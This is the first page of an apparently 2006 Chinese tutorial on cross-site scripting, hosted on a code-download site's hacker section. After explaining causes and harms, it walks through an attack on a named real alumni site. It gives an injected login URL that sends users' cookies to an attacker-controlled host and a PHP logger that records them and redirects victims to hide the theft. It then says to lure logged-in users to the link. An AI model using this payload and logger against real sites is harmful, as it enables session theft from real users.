首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客进阶 → 文章内容

跨站脚本执行漏洞详解--跨站,脚本,执行,漏洞,详解

作者:佚名  来源:网上收集  发布时间:2006-6-21 23:12:40

【前言】 

本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题 (FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细,所以希望本文能够 比较详细的介绍该漏洞。由于时间仓促,水平有限,本文可能有不少错误,希望大家不吝赐教。 

声明,请不要利用本文介绍的任何内容,代码或方法进行破坏,否则一切后果自负! 

【漏洞成因】 
原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。 

【漏洞形式】 
这里所说的形式,实际上是指CGI输入的形式,主要分为两种: 
1.显示输入 
2.隐式输入 
其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通 过输入数据来进行干涉。 
显示输入又可以分为两种: 
1. 输入完成立刻输出结果 
2. 输入完成先存储在文本文件或数据库中,然后再输出结果 
注意:后者可能会让你的网站面目全非!:( 
而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。 

【漏洞危害】 
大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典 型的吧。 
1. 获取其他用户Cookie中的敏感数据 
2. 屏蔽页面特定信息 
3. 伪造页面信息 
4. 拒绝服务攻击 
5. 突破外网内网不同安全设置 
6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等 
7. 其它 
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的 网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。 

【利用方式】 
下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条 理更清晰一些,我们将针对每种危害做一个实验。 
为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如 NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。 
另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。 
好的,一切就绪,我们开始做实验!:) 

实验一:获取其他用户Cookie中的敏感信息 
我们以国内著名的同学录站点5460.net为例来说明一下,请按照下面的步骤进行: 
1. 进入首页http://www.5460.net/ 
2. 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。 
3. 分析抓包数据,得到实际请求: 
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 
4. 构造一个提交,目标是能够显示用户Cookie信息: 
http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6 
5. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求: 
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6 
其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信 息,内容如下: 
<?php 
$
info = getenv("QUERY_STRING"); 
if (
$
info) { 
$
fp = fopen("info.txt","a"); 
fwrite(
$fp,$
info."/n"); 
fclose(
$
fp); 
} 
header("Location: http://www.5460.net"); 
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header语 句则纯粹是为了增加隐蔽性。 
6. 如果上面的URL能够正确运行的话,下一步就是诱使登陆5460.net的用户访问该URL,而我们就可以 获取该用户Cookie中的敏感信息。 
7. 后面要做什么就由你决定吧! 

[1] [2] [3] 下一页  

[] [返回上一页] [打 印]
  • 上一篇文章:XP也不安全!黑客入侵Win XP七大手法--XP,安全,黑客,入侵,Win,XP,手法
  • 下一篇文章:共享软件的十大破解工具--共享软件,破解工具

  • 相关文章:
  • UBB的跨站脚本攻击的漏洞
  • 跨站脚本执行漏洞详解--跨站,脚本,执行,漏洞,详解
  • 搜狐ajax hacking漏洞详解——XSS worm--搜狐,ajax ...
  • 包含文件漏洞详解--包含文件,漏洞,详解
  • 完美的解决跨站脚本得COOKIE弹框框的问题--解决,跨站...
  • PHPWind-附件文件名跨站脚本漏洞--PHPWind,附件文件...
  • [组图]XSS Phishing - 新式跨站脚本攻击方式--XSS,P...
  • 唯爱一世交友系统WallReg3.asp、WallReg5.asp跨站脚...
  • XSS跨站脚本及SQL注入漏洞技术分析--XSS,跨站脚本,S...
  • 针对$_SERVER[’PHP_SELF’]的跨站脚本攻击--$_SERV...
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号